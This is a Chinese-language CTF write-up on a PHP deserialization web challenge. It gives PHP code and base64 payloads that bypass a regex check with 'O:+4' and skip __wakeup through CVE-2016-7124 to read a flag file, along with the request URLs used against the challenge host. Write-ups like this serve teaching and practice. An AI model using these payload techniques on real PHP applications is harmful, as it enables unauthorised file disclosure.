zoukankan      html  css  js  c++  java
  • CTF-攻防世界-Web_php_unserialize(PHP反序列化)

    题目

    解题过程

    PHP反序列化的一道题,从代码看出flage在fl4g.php这个文件里面,Demo类的构造方法可以传入文件名。把Demo的代码贴到本地做一下序列化

    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
    
    $demo = new Demo('fl4g.php');
    
    $serialized_data = serialize($demo);
    echo  $serialized_data;
    View Code

    得到序列化结果:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";},通过var参数传入,这里有两个问题:

    1.var参数要先进行base64编码

      调用php自带的base64_encode函数进行编码

    2.要绕过正则检查

      /[oc]:d+:/i这个正则绕过书上看见过(所以没事要多看书 >_< ),O后面加上+就可以了:O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

    最后访问连接:http://220.249.52.133:36207/index.php?var=TzorNDoiRGVtbyI6MTp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

    嗯,失败了,因为__wakeup有判断文件名不是index.php就自动跳回index.php页面。。。

    所以还有第3步要做,绕过__wakeup的检查,这个正好也在书上看见过(再次印证没事要多看书 >_< )

    CVE-2016-7124:__wakeup失效,当属性个数不正确时,PHP不会调用__wakeup()。影响版本PHP5-PHP5.6.25,PHP7-PHP7.0.10。

    修改属性个数1为2:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},在进行编码后传入var参数

    最终的代码:

    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
    
    $demo = new Demo('fl4g.php');
    $serialized_data = serialize($demo);
    
    $str=str_replace('O:4', 'O:+4',$serialized_data);
    $str=str_replace(':1:', ':2:',$str);
    
    echo base64_encode($str);
    View Code

    这里有一个坑,base64编码必须调用php自带的编码函数才行,直接拿去在线base64编码的结果无法拿到flag,原因不明。。。

    访问链接:http://220.249.52.133:36207/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

    拿到flag:

  • 相关阅读:
    C#学习笔记(28)——委托排序(2)自定义排序
    C#学习笔记(27)——委托排序(1)
    C#学习笔记(26)——委托计算器
    C#学习笔记(25)——用刻盘器批量从U盘删除添加文件
    ABBYY FineReader Pro for Mac系统要求
    ABBYY FineReader错误代码142和55
    哪些因素影响ABBYY FineReader 12的识别质量
    ABBYY FineReader 12没你想得那么简单
    超强OCR文字识别软件首选ABBYY FineReader
    详解ABBYY FineReader 12扫描亮度设置
  • 原文地址:https://www.cnblogs.com/sallyzhang/p/13852903.html
Copyright © 2011-2022 走看看